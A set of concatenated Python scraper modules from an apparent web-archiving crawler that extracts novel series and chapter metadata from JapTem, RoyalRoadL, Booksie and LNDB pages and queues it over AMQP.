class JapTemSeriesPageProcessor(WebMirror.OutputFilters.FilterBase.FilterBase):


	wanted_mimetypes = [

							'text/html',
						]
	want_priority    = 50

	loggerPath = "Main.Filter.JapTem"


	@staticmethod
	def wantsUrl(url):
		if re.search(r"^http://japtem.com/fanfic.php$", url):
			print("JapTemSeriesPageProcessor Wants url: '%s'" % url)
			return True
		return False

	def __init__(self, **kwargs):

		self.kwargs     = kwargs


		self.pageUrl    = kwargs['pageUrl']

		self.content    = kwargs['pgContent']
		self.type       = kwargs['type']

		self.log.info("Processing Japtem Item")

		if "dosuper" in kwargs:
			dosuper = kwargs['dosuper']
		else:
			dosuper = True


		if dosuper:
			super().__init__(**kwargs)


##################################################################################################################################
##################################################################################################################################
##################################################################################################################################


	def extractSeriesReleases(self, seriesPageUrl, soup):
		title  = soup.find("div", class_='fanfic_title_div').get_text()
		author = soup.find("div", class_='fanfic_author_div').get_text()
		ratingtg = soup.find("div", class_='fanfic_title_wrapper')
		ratingtg = [item for item in ratingtg.contents if "Rating" in str(item)]
		if not ratingtg:
			ratingtg = ''
		else:
			ratingtg = ratingtg.pop()


		rating, views, chapters = ratingtg.split("·")

		# I think the japtem rating system is just plain out broken.
		if not "no rating" in ratingtg.lower():
			rating_score = float(rating.split()[-1])
			if not rating_score >= MIN_RATING:
				return []


		chapter_num = float(chapters.split()[0])
		if chapter_num < 3:
			return []



		if not title:
			return []
		if not author:
			return []


		descDiv = soup.find('div', class_='fanfic_synopsis')

		if not descDiv:
			print(soup)

		paras = descDiv.find_all("p")
		tags = []

		desc = []
		for para, text in [(para, para.get_text()) for para in paras]:
			if text.lower().startswith('categories:'):
				tagstr = text.split(":", 1)[-1]
				items = tagstr.split(",")
				[tags.append(item.strip()) for item in items if item.strip()]
			else:
				desc.append(para)


		seriesmeta = {}

		seriesmeta['title']       = title
		seriesmeta['author']      = author
		seriesmeta['tags']        = tags
		seriesmeta['homepage']    = ''
		seriesmeta['desc']        = " ".join([str(para) for para in desc])
		seriesmeta['tl_type']     = 'oel'
		seriesmeta['sourcesite']  = 'JapTem Fanfic'


		meta_pkt = msgpackers.createSeriesInfoPacket(seriesmeta, matchAuthor=True)

		extra = {}
		extra['tags']     = tags
		extra['homepage'] = ''
		extra['sourcesite']  = 'JapTem Fanfic'

		retval = []

		chapters = soup.find("ul", class_='fanfic_chapter_list')
		volumes = chapters.find_all('li', class_='fanfic_volume')
		for volume in volumes:
			releases = volume.find_all('li', class_='fanfic_chapter')
			for release in releases:
				chp_title = release.find("a")

				vol_str = volume.find('div', class_='fanfic_volume_title').get_text()
				reldate = time.time()

				chp_title = chp_title.get_text()

				agg_title = " ".join((vol_str, chp_title))
				# print("Chp title: '{}'".format(chp_title))
				vol, chp, frag, post = extractTitle(agg_title)
				raw_item = {}
				raw_item['srcname']   = 'JapTem Fanfic'
				raw_item['published'] = reldate
				releaseurl = urllib.parse.urljoin(seriesPageUrl, release.a['href'])
				raw_item['linkUrl']   = releaseurl

				msg = msgpackers.buildReleaseMessage(raw_item, title, vol, chp, frag, author=author, postfix=chp_title, tl_type='oel', extraData=extra)
				msg = msgpackers.createReleasePacket(msg)

				retval.append(msg)
		if not retval:
			return []

		retval.append(meta_pkt)
		# return []
		return retval




	def sendReleases(self, releases):
		self.log.info("Total releases found on page: %s", len(releases))
		for pkt in releases:
			self.amqp_put_item(pkt)




	def processPage(self, content):

		soup = WebMirror.util.webFunctions.as_soup(self.content)

		for chunk in soup.find_all('li', class_='fanfic_title'):
			try:
				releases = self.extractSeriesReleases(self.pageUrl, chunk)

				if releases:
					self.sendReleases(releases)
			except Exception:
				traceback.print_exc()





##################################################################################################################################
##################################################################################################################################
##################################################################################################################################



	def extractContent(self):
		# print("Call to extract!")
		# print(self.amqpint)

		self.processPage(self.content)


def testJobFromUrl(url):
	import datetime
	import WebMirror.database
	return WebMirror.database.WebPages(
				state     = 'fetching',
				url       = url,
				starturl  = url,
				netloc    = "wat",
				distance  = WebMirror.database.MAX_DISTANCE-2,
				is_text   = True,
				priority  = WebMirror.database.DB_REALTIME_PRIORITY,
				type      = "unknown",
				fetchtime = datetime.datetime.now(),
				)



def test():
	print("Test mode!")
	import logSetup
	import WebMirror.rules
	import WebMirror.Engine
	import multiprocessing
	logSetup.initLogging()

	c_lok = cookie_lock = multiprocessing.Lock()
	engine = WebMirror.Engine.SiteArchiver(cookie_lock=c_lok)
	engine.dispatchRequest(testJobFromUrl('http://japtem.com/fanfic.php'))


	# import WebMirror.util.webFunctions as webfunc

	# wg = webfunc.WebGetRobust()
	# proc = JapTemSeriesPageProcessor(pageUrl="urlllllll", pgContent="watttt", type='lolertype', dosuper=False)

	# urls = [
	# 	'http://japtem.com/fanfic.php',
	# 	]
	# for url in urls:
	# 	ctnt = wg.getpage(url)
	# 	proc.content = ctnt
	# 	proc.processPage(ctnt)

if __name__ == "__main__":
	test()
















import runStatus
runStatus.preloadDicts = False

import WebMirror.OutputFilters.FilterBase

import WebMirror.database as db

import WebMirror.OutputFilters.util.MessageConstructors  as msgpackers
from WebMirror.OutputFilters.util.TitleParsers import extractTitle

import bs4
import re
import calendar
import traceback
import datetime
import time
import json
import WebMirror.util.webFunctions

MIN_RATING = 5

########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################




class RRLSeriesUpdateFilter(WebMirror.OutputFilters.FilterBase.FilterBase):


	wanted_mimetypes = [

							'text/html',
						]
	want_priority    = 50

	loggerPath = "Main.Filter.RoyalRoad.Series"


	@staticmethod
	def wantsUrl(url):
		want = [
			'http://www.royalroadl.com/fictions/best-rated/',
			'http://www.royalroadl.com/fictions/latest-updates/',
			'http://www.royalroadl.com/fictions/active-top-50/',
			'http://www.royalroadl.com/fictions/weekly-views-top-50/',
			'http://www.royalroadl.com/fictions/newest/',
			'http://royalroadl.com/fictions/best-rated/',
			'http://royalroadl.com/fictions/latest-updates/',
			'http://royalroadl.com/fictions/active-top-50/',
			'http://royalroadl.com/fictions/weekly-views-top-50/',
			'http://royalroadl.com/fictions/newest/',
		]

		if url in want:

			print("RRLSeriesUpdateFilter Wants url: '%s'" % url)
			return True
		# print("RRLSeriesUpdateFilter doesn't want url: '%s'" % url)
		return False

	def __init__(self, **kwargs):

		self.kwargs     = kwargs


		self.pageUrl    = kwargs['pageUrl']

		self.content    = kwargs['pgContent']
		self.type       = kwargs['type']
		self.db_sess    = kwargs['db_sess']

		self.log.info("Processing RoyalRoadL Item")
		super().__init__(**kwargs)


##################################################################################################################################
##################################################################################################################################
##################################################################################################################################


	def extractSeriesReleases(self, seriesPageUrl, soup):

		container = soup.find('div', class_='fiction-list-wrapper')
		# print("container: ", container)
		if not container:
			return []
		urls = []
		for item in container.find_all("li", class_='fiction'):
			a = item.find('a', text='Fiction Page')
			if a:
				urls.append(a['href'])
			else:
				self.log.error("No series in container: %s", item)

		return set(urls)


	def retrigger_pages(self, releases):
		self.log.info("Total releases found on page: %s. Forcing retrigger of item pages.", len(releases))

		for release_url in releases:
			self.retrigger_page(release_url)





	def processPage(self, url, content):
		# print("processPage() call")
		soup = WebMirror.util.webFunctions.as_soup(self.content)
		releases = self.extractSeriesReleases(self.pageUrl, soup)
		if releases:
			self.retrigger_pages(releases)




##################################################################################################################################
##################################################################################################################################
##################################################################################################################################



	def extractContent(self):
		# print("Call to extract!")
		# print(self.amqpint)

		self.processPage(self.pageUrl, self.content)


def testJobFromUrl(url):
	import datetime
	import WebMirror.database
	return WebMirror.database.WebPages(
				state     = 'fetching',
				url       = url,
				starturl  = url,
				netloc    = "wat",
				distance  = WebMirror.database.MAX_DISTANCE-2,
				is_text   = True,
				priority  = WebMirror.database.DB_REALTIME_PRIORITY,
				type      = "unknown",
				fetchtime = datetime.datetime.now(),
				)



def test():
	print("Test mode!")
	import logSetup
	import WebMirror.rules
	import WebMirror.Engine
	import multiprocessing
	logSetup.initLogging()

	c_lok = cookie_lock = multiprocessing.Lock()
	engine = WebMirror.Engine.SiteArchiver(cookie_lock=c_lok)





	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fiction/3021'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/latest-updates/'))

	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/best-rated/'))
	engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/latest-updates/'))
	engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/active-top-50/'))
	engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/weekly-views-top-50/'))
	engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/newest/'))



if __name__ == "__main__":
	test()
















import runStatus
runStatus.preloadDicts = False

import WebMirror.OutputFilters.FilterBase

import WebMirror.OutputFilters.util.MessageConstructors  as msgpackers
from WebMirror.OutputFilters.util.TitleParsers import extractTitle

import bs4
import re
import calendar
import datetime
import time
import json
import WebMirror.util.webFunctions
import bleach

MIN_RATING = 5

########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################




class RRLSeriesPageProcessor(WebMirror.OutputFilters.FilterBase.FilterBase):


	wanted_mimetypes = [

							'text/html',
						]
	want_priority    = 50

	loggerPath = "Main.Filter.RoyalRoad.Page"


	@staticmethod
	def wantsUrl(url):
		if re.search(r"^http://(?:www\.)?royalroadl\.com/fiction/\d+/?$", url):
			print("RRLSeriesPageProcessor Wants url: '%s'" % url)
			return True
		return False

	def __init__(self, **kwargs):

		self.kwargs     = kwargs


		self.pageUrl    = kwargs['pageUrl']

		self.content    = kwargs['pgContent']
		self.type       = kwargs['type']

		self.log.info("Processing RoyalRoadL Item")
		super().__init__(**kwargs)


##################################################################################################################################
##################################################################################################################################
##################################################################################################################################


	def extractSeriesReleases(self, seriesPageUrl, soup):

		titletg  = soup.find("h1", class_='fiction-title')
		authortg = soup.find("span", class_='author')
		ratingtg = soup.find("span", class_='overall')

		if not ratingtg:
			self.log.info("Could not find rating tag!")
			return []


		rating = float(ratingtg['score'])
		if not rating >= MIN_RATING and rating != 0.0:
			self.log.info("Item rating below upload threshold: %s", rating)
			return []

		if not titletg:
			self.log.info("Could not find title tag!")
			return []
		if not authortg:
			self.log.info("Could not find author tag!")
			return []


		title  = titletg.get_text()
		author = authortg.get_text()
		assert author.startswith("by ")
		author = author[2:].strip()


		title = bleach.clean(title, tags=[], attributes=[], styles=[], strip=True, strip_comments=True)
		author = bleach.clean(author, tags=[], attributes=[], styles=[], strip=True, strip_comments=True)

		descDiv = soup.find('div', class_='description')
		paras = descDiv.find_all("p")
		tags = []

		desc = []
		for para, text in [(para, para.get_text()) for para in paras]:
			if text.lower().startswith('categories:'):
				tagstr = text.split(":", 1)[-1]
				items = tagstr.split(",")
				[tags.append(item.strip()) for item in items if item.strip()]
			else:
				desc.append(para)


		seriesmeta = {}

		seriesmeta['title']       = title
		seriesmeta['author']      = author
		seriesmeta['tags']        = tags
		seriesmeta['homepage']    = seriesPageUrl
		seriesmeta['desc']        = " ".join([str(para) for para in desc])
		seriesmeta['tl_type']     = 'oel'
		seriesmeta['sourcesite']  = 'RoyalRoadL'

		pkt = msgpackers.createSeriesInfoPacket(seriesmeta, matchAuthor=True)

		extra = {}
		extra['tags']     = tags
		extra['homepage'] = seriesPageUrl
		extra['sourcesite']  = 'RoyalRoadL'


		chapters = soup.find("div", class_='chapters')
		releases = chapters.find_all('li', class_='chapter')

		retval = []
		for release in releases:
			chp_title, reldatestr = release.find_all("span")
			rel = datetime.datetime.strptime(reldatestr.get_text(), '%d/%m/%y')
			if rel.date() == datetime.date.today():
				reldate = time.time()
			else:
				reldate = calendar.timegm(rel.timetuple())

			chp_title = chp_title.get_text()
			# print("Chp title: '{}'".format(chp_title))
			vol, chp, frag, post = extractTitle(chp_title + " " + title)

			raw_item = {}
			raw_item['srcname']   = "RoyalRoadL"
			raw_item['published'] = reldate
			raw_item['linkUrl']   = release.a['href']

			msg = msgpackers.buildReleaseMessage(raw_item, title, vol, chp, frag, author=author, postfix=chp_title, tl_type='oel', extraData=extra, matchAuthor=True)
			retval.append(msg)

		missing_chap = 0
		for item in retval:
			if not (item['vol'] or item['chp']):
				missing_chap += 1

		if len(retval):
			unnumbered = (missing_chap/len(retval)) * 100
			if len(retval) >= 5 and unnumbered > 80:
				self.log.warning("Item seems to not have numbered chapters. Adding simple sequential chapter numbers.")
				chap = 1
				for item in retval:
					item['vol'] = None
					item['chp'] = chap
					chap += 1

		# Do not add series without 3 chapters.
		if len(retval) < 3:
			self.log.info("Less then three chapters!")
			return []



		if not retval:
			self.log.info("Retval empty?!")
			return []
		self.amqp_put_item(pkt)
		return retval




	def sendReleases(self, releases):
		self.log.info("Total releases found on page: %s. Emitting messages into AMQP local queue.", len(releases))
		for release in releases:
			pkt = msgpackers.createReleasePacket(release)
			self.amqp_put_item(pkt)




	def processPage(self, url, content):

		soup = WebMirror.util.webFunctions.as_soup(self.content)
		releases = self.extractSeriesReleases(self.pageUrl, soup)
		if releases:
			self.sendReleases(releases)




##################################################################################################################################
##################################################################################################################################
##################################################################################################################################



	def extractContent(self):
		# print("Call to extract!")
		# print(self.amqpint)

		self.processPage(self.pageUrl, self.content)


def testJobFromUrl(url):
	import datetime
	import WebMirror.database
	return WebMirror.database.WebPages(
				state     = 'fetching',
				url       = url,
				starturl  = url,
				netloc    = "wat",
				distance  = WebMirror.database.MAX_DISTANCE-2,
				is_text   = True,
				priority  = WebMirror.database.DB_REALTIME_PRIORITY,
				type      = "unknown",
				fetchtime = datetime.datetime.now(),
				)



def test():
	print("Test mode!")
	import logSetup
	import WebMirror.rules
	import WebMirror.Engine
	import WebMirror.Runner
	import multiprocessing
	logSetup.initLogging()

	crawler = WebMirror.Runner.Crawler()
	crawler.start_aggregator()


	c_lok = cookie_lock = multiprocessing.Lock()
	engine = WebMirror.Engine.SiteArchiver(cookie_lock=c_lok, response_queue=crawler.agg_queue)



	engine.dispatchRequest(testJobFromUrl('http://royalroadl.com/fiction/3333'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fiction/2850'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/latest-updates/'))

	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/best-rated/'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/latest-updates/'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/active-top-50/'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/weekly-views-top-50/'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/newest/'))

	crawler.join_aggregator()

if __name__ == "__main__":
	test()










import runStatus
runStatus.preloadDicts = False

import WebMirror.OutputFilters.FilterBase

import WebMirror.OutputFilters.util.MessageConstructors  as msgpackers
from WebMirror.OutputFilters.util.TitleParsers import extractTitle

import bs4
import re
import time

from settings import BOOKSIE_REQUIRED_TAGS
from settings import BOOKSIE_MASKED_TAGS

########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################


# I've done  a lot of scraping of sites with tagging facilities at this point, and I think
# I can say with some certainly people just don't understand what
# tags are a lot of the time.
# Seriously, do people just write random crap in the tag field?
BAD_TAGS = [
	'story',
	'written',
	'by',
	'2',
	'friends.',

	# Apparently, multi-word tags are beyond booksie.
	'science',
	'fiction',
]


IS_BETA = True


class BooksieSeriesPageProcessor(WebMirror.OutputFilters.FilterBase.FilterBase):


	wanted_mimetypes = [

							'text/html',
						]
	want_priority    = 50

	loggerPath = "Main.Filter.Booksie.Page"


	@staticmethod
	def wantsUrl(url):
		if re.search(r"^http://(?:www\.)?booksie\.com/.*?/novel/.*?/chapter/1$", url):
			print("BooksieSeriesPageProcessor Wants url: '%s'" % url)
			return True

		return False

	def __init__(self, **kwargs):

		self.kwargs     = kwargs

		self.pageUrl    = kwargs['pageUrl']

		self.content    = kwargs['pgContent']
		self.type       = kwargs['type']

		self.log.info("Processing Booksie Item")
		super().__init__(**kwargs)


##################################################################################################################################
##################################################################################################################################
##################################################################################################################################


	def extractSeriesReleases(self, seriesPageUrl, soup):

		# Yeah, the title text is in a div with an id of "titlePic".
		# The actual image is in a div with the /class/ titlePic
		# wat.
		titlecontainer = soup.find("div", id='titlePic')
		if not titlecontainer:
			titlecontainer = soup.find("div", id='title')
		if not titlecontainer:
			raise ValueError("No title at URL: '%s'", seriesPageUrl)

		titletg  = titlecontainer.h1
		typetg, authortg, categorytg = titlecontainer.find_all("a")

		if "novel" not in typetg.get_text().lower():
			return []

		if not titletg:
			return []
		if not authortg:
			return []

		title  = titletg.get_text()
		author = authortg.get_text()
		genre  = categorytg.get_text()

		descDiv = soup.find('p', class_='summary')
		for item in descDiv.find_all("a"):
			item.decompose()
		desc = [item.strip() for item in descDiv.find_all(text=True) if item.strip()]


		tagdiv = soup.find("div", id='cloudMain')

		tags = []
		# Skip if no tags
		if tagdiv:
			tags = [item.get_text().strip().lower() for item in tagdiv.find_all("a")]

		tags.append(genre.lower())
		# Fix a lot of the stupid tag fuckups I've seen.
		# People are stupid.
		if 'science' in tags and 'fiction' in tags:
			tags.append("science-fiction")
		tags = [tag for tag in tags if tag not in BAD_TAGS]
		tags = [tag for tag in tags if len(tag) > 2]
		tags = [tag.replace("  ", " ").replace(" ", "-") for tag in tags]
		tags = list(set(tags))


		if not any([tag in BOOKSIE_REQUIRED_TAGS for tag in tags]):
			self.log.info("Missing required tags!")
			return []
		if any([tag in BOOKSIE_MASKED_TAGS for tag in tags]):
			self.log.info("Masked tag!")
			return []

		# Wrap the paragraphs in p tags.
		desc = ['<p>{text}</p>'.format(text=para) for para in desc]

		seriesmeta = {}
		seriesmeta['title']       = title
		seriesmeta['author']      = author
		seriesmeta['tags']        = tags
		seriesmeta['homepage']    = seriesPageUrl
		seriesmeta['desc']        = "\n\n ".join([str(para) for para in desc])
		seriesmeta['tl_type']     = 'oel'
		seriesmeta['sourcesite']  = 'Booksie'

		pkt = msgpackers.createSeriesInfoPacket(seriesmeta, beta=IS_BETA, matchAuthor=True)

		extra = {}
		extra['tags']     = tags
		extra['homepage'] = seriesPageUrl
		extra['sourcesite']  = 'Booksie'

		# Decompose the announcement (?) div that's cluttering up the
		# search for the chapterdiv
		badchp = soup.find("div", class_='chapters', id='noticeMessage')
		badchp.decompose()

		chapters = soup.find("div", class_='chapters')
		releases = chapters.find_all('a')


		retval = []
		for release in releases:

			# No post time, unfortunately
			chp = int(release.get_text())
			reldate = time.time()

			# Force releases to the beginning of time untill we catch up.
			reldate = 0

			vol  = None
			frag = None

			raw_item = {}
			raw_item['srcname']   = "Booksie"
			raw_item['published'] = reldate
			raw_item['linkUrl']   = release['href']

			msg = msgpackers.buildReleaseMessage(raw_item, title, vol, chp, frag, author=author, tl_type='oel', extraData=extra, matchAuthor=True)
			retval.append(msg)




		if not retval:
			print("No releases?")
			return []
		self.amqp_put_item(pkt)
		return retval




	def sendReleases(self, releases):
		self.log.info("Total releases found on page: %s. Emitting messages into AMQP local queue.", len(releases))
		for release in releases:
			pkt = msgpackers.createReleasePacket(release, beta=IS_BETA)
			self.amqp_put_item(pkt)




	def processPage(self, url, content):

		soup = as_soup(self.content)
		releases = self.extractSeriesReleases(self.pageUrl, soup)
		if releases:
			self.sendReleases(releases)




##################################################################################################################################
##################################################################################################################################
##################################################################################################################################



	def extractContent(self):
		# print("Call to extract!")
		# print(self.amqpint)

		self.processPage(self.pageUrl, self.content)


def testJobFromUrl(url):
	import datetime
	import WebMirror.database
	return WebMirror.database.WebPages(
				state     = 'fetching',
				url       = url,
				starturl  = url,
				netloc    = "wat",
				distance  = WebMirror.database.MAX_DISTANCE-2,
				is_text   = True,
				priority  = WebMirror.database.DB_REALTIME_PRIORITY,
				type      = "unknown",
				fetchtime = datetime.datetime.now(),
				)



def test():
	print("Test mode!")
	import logSetup
	import WebMirror.rules
	import WebMirror.Engine
	import WebMirror.Runner
	import multiprocessing
	logSetup.initLogging()

	crawler = WebMirror.Runner.Crawler()
	crawler.start_aggregator()


	c_lok = cookie_lock = multiprocessing.Lock()
	engine = WebMirror.Engine.SiteArchiver(cookie_lock=c_lok, response_queue=crawler.agg_queue)



	engine.dispatchRequest(testJobFromUrl('http://royalroadl.com/fiction/3333'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fiction/2850'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/latest-updates/'))

	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/best-rated/'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/latest-updates/'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/active-top-50/'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/weekly-views-top-50/'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/newest/'))

	crawler.join_aggregator()

if __name__ == "__main__":
	test()
















import runStatus
runStatus.preloadDicts = False

import WebMirror.OutputFilters.FilterBase

import WebMirror.OutputFilters.util.MessageConstructors  as msgpackers
from WebMirror.OutputFilters.util.TitleParsers import extractTitle
# from WebMirror.Engine import SiteArchiver

import bs4
import re
import calendar
import time
from dateutil.parser import parse
import urllib.parse
import WebMirror.util.webFunctions

import WebMirror.API
import pprint

MIN_RATING = 5

########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################

IS_BETA = False


class LNDBSeriesPageFilter(WebMirror.OutputFilters.FilterBase.FilterBase):


	wanted_mimetypes = [

							'text/html',
						]
	want_priority    = 50

	loggerPath = "Main.Filter.LNDB"


	@staticmethod
	def wantsUrl(url):
		if re.search(r"^http://lndb.info/light_novel/[^/]+$", url):
			if "lndb.info/light_novel/view/" in url:
				return False
			# print("LNDB Processor Wants url: '%s'" % url)
			return True
		return False

	def __init__(self, **kwargs):

		super().__init__(**kwargs)
		self.kwargs     = kwargs
		self.job        = kwargs['job']

		self.pageUrl    = kwargs['pageUrl']

		self.content    = kwargs['pgContent']
		self.type       = kwargs['type']

		self.db_sess    = kwargs['db_sess']

		self.log.info("Processing LNDB Item")

		self.wg = WebMirror.util.webFunctions.WebGetRobust(logPath=self.loggerPath+".Web")


##################################################################################################################################
##################################################################################################################################
##################################################################################################################################


	def extractSeries(self, seriesPageUrl, soup):

		itemsoup = self.getSoupForSeriesItem(seriesPageUrl, soup)
		itemdata = self.extractSeriesInfo(itemsoup)
		# print(itemdata)

		tags = []
		if 'genre' in itemdata and itemdata['genre']:
			tags = list(set([item.lower().strip().replace("  ", " ").replace(" ", "-") for item in itemdata['genre']]))

		seriesmeta = {}


		seriesmeta['title']       = itemdata['title']
		seriesmeta['alt_titles']  = [itemdata['jTitle'], ] + itemdata['alt_names']


		seriesmeta['author']      = itemdata['author']
		seriesmeta['illust']      = itemdata['illust']
		seriesmeta['desc']        = itemdata['description']
		if itemdata['pubdate']:
			seriesmeta['pubdate']     = calendar.timegm(itemdata['pubdate'].timetuple())
		else:
			seriesmeta['pubdate']     = None
		seriesmeta['pubnames']    = itemdata['pubnames']


		seriesmeta['tags']        = tags
		seriesmeta['homepage']    = None

		seriesmeta['tl_type']     = 'translated'
		seriesmeta['sourcesite']  = 'LNDB'


		# pprint.pprint(itemdata)
		# pprint.pprint(seriesmeta)

		# print(seriesmeta)
		pkt = msgpackers.createSeriesInfoPacket(seriesmeta, beta=IS_BETA, matchAuthor=True)
		self.amqp_put_item(pkt)



	'''
	Source items:
	seriesEntry - Is this the entry for a series, or a individual volume/chapter
	cTitle      - Chapter Title (cleaned for URL use)
	oTitle      - Chapter Title (Raw, can contain non-URL safe chars)
	jTitle      - Title in Japanese
	vTitle      - Volume Title
	jvTitle     - Japanese Volume Title
	series      - Light Novel
	pub	        - Publisher
	label       - Light Novel Label
	volNo       - Volumes
	author      - Author
	illust      - Illustrator
	target      - Target Readership
	relDate     - Release Date
	covers      - Cover Array
	'''

	def getSoupForSeriesItem(self, baseUrl, baseSoup):
		urlpostfix = baseUrl.replace("http://lndb.info/light_novel/", "")

		# print("urlpostfix:", urlpostfix)

		url      = urllib.parse.urljoin('http://lndb.info/', '/light_novel/view/' + urlpostfix)
		referrer = urllib.parse.urljoin('http://lndb.info/', '/light_novel/' + urlpostfix)

		soup = None
		for x in range(3):
			try:
				# You have to specify the 'X-Requested-With' param, or you'll get a 404
				content = self.wg.getpage(url, addlHeaders={'Referer': referrer, 'X-Requested-With': 'XMLHttpRequest'})
				# print("Wat wat?")
				WebMirror.API.processFetchedContent(url, content, "text/html", self.job, db_session=self.db_sess)
				soup = WebMirror.util.webFunctions.as_soup(content)
				break
			except urllib.error.URLError:
				time.sleep(4)
				# Randomize the user agent again
				self.wg = WebMirror.util.webFunctions.WebGetRobust(logPath=self.loggerPath+".Web")
		if not soup:
			raise ValueError("Could not retreive page!")

		return soup

	def getPubDate(self, soup):
		pubdate = None
		pubnames = []

		pubdiv1 = soup.find("div", class_='lightnovellabels')
		pubdiv2 = soup.find("div", class_='lightnovelmagazines')



		for pubdiv in [item for item in [pubdiv1, pubdiv2] if item]:
			for item in pubdiv.find_all("p", class_='paragraph-info'):
				for publink in item.find_all("a"):
					pub = publink.get_text().strip()
					if not pub in pubnames:
						pubnames.append(pub)

				children = list(item.children)
				for x in range(len(children)):

					if children[x]:
						if str(children[x]).startswith("\xa0"):
							dates = str(children[x])
							if "-" in dates:
								dates = dates.split("-")[0].strip()
								ts = parse(dates, fuzzy=True)
								if not pubdate:
									pubdate = ts
								else:
									if ts < pubdate:
										pubdate = ts

		return pubdate, pubnames

	def getAltNames(self, soup):
		pubdiv = soup.find("div", class_='lightnovelassociatedtitles')
		if pubdiv:
			for item in pubdiv.find_all("p", class_='paragraph-info'):
				return [item.strip() for item in item.stripped_strings]
		return None

	def getDescription(self, soup):
		pubdiv = soup.find("div", class_='lightnovelabout')
		if pubdiv:
			return " ".join([str(item) for item in pubdiv.find_all("p", class_='paragraph-info')])
		return None

	def extractSeriesInfo(self, soup):
		content = soup.find('div', class_='lightnovelcontent')
		if not content:
			return

		dataLut = {
			'Japanese Title'        : 'jTitle',
			'Volume Title'          : 'oTitle',
			'Japanese Volume Title' : 'jvTitle',
			'Light Novel'           : 'series',
			'Publisher'             : 'pub',
			'Light Novel Label'     : 'label',
			'Target Readership'     : 'target',
			'Volumes'               : 'volNo',
			'Release Date'          : 'relDate',
			'Genre'                 : 'genre',
			'Pages'                 : None,
			'ISBN-10'               : None,
			'ISBN-13'               : None,
			'Height (cm)'           : None,
			'Width (cm)'            : None,
			'Thickness (cm)'        : None,
			'Online Shops'          : None,
		}

		mdataLut = {
			'Author'                : 'author',
			'Illustrator'           : 'illust',
			'Illustrators'          : 'illust',
		}



		infoDiv = content.find('div', class_="secondary-info")

		rows = infoDiv.find_all('tr')

		self.log.info("Found %s data rows for item!", len(rows))

		kwargs = {}

		for tr in rows:
			tds = tr.find_all('td')
			if len(tds) != 2:
				self.log.error("Row with wrong number of items?")
				continue
			desc, cont = tds
			desc = desc.get_text().strip()
			cont = cont.get_text().strip()

			if desc in dataLut:
				kwargs[dataLut[desc]] = cont

		for tr in rows:
			tds = tr.find_all('td')
			if len(tds) != 2:
				self.log.error("Row with wrong number of items?")
				continue
			desc, cont = tds
			desc = desc.get_text().strip()
			cont = cont.get_text().strip()

			if desc in mdataLut:
				kwargs[mdataLut[desc]] = [item.strip() for item in cont.split(",")]

		itemTitle = content.find('div', class_='secondarytitle').get_text().strip()
		kwargs['title'] = itemTitle

		if "genre" in kwargs:
			kwargs['genre'] = [item.strip().lower() for item in kwargs['genre'].split(",")]
		else:
			kwargs['genre'] = []

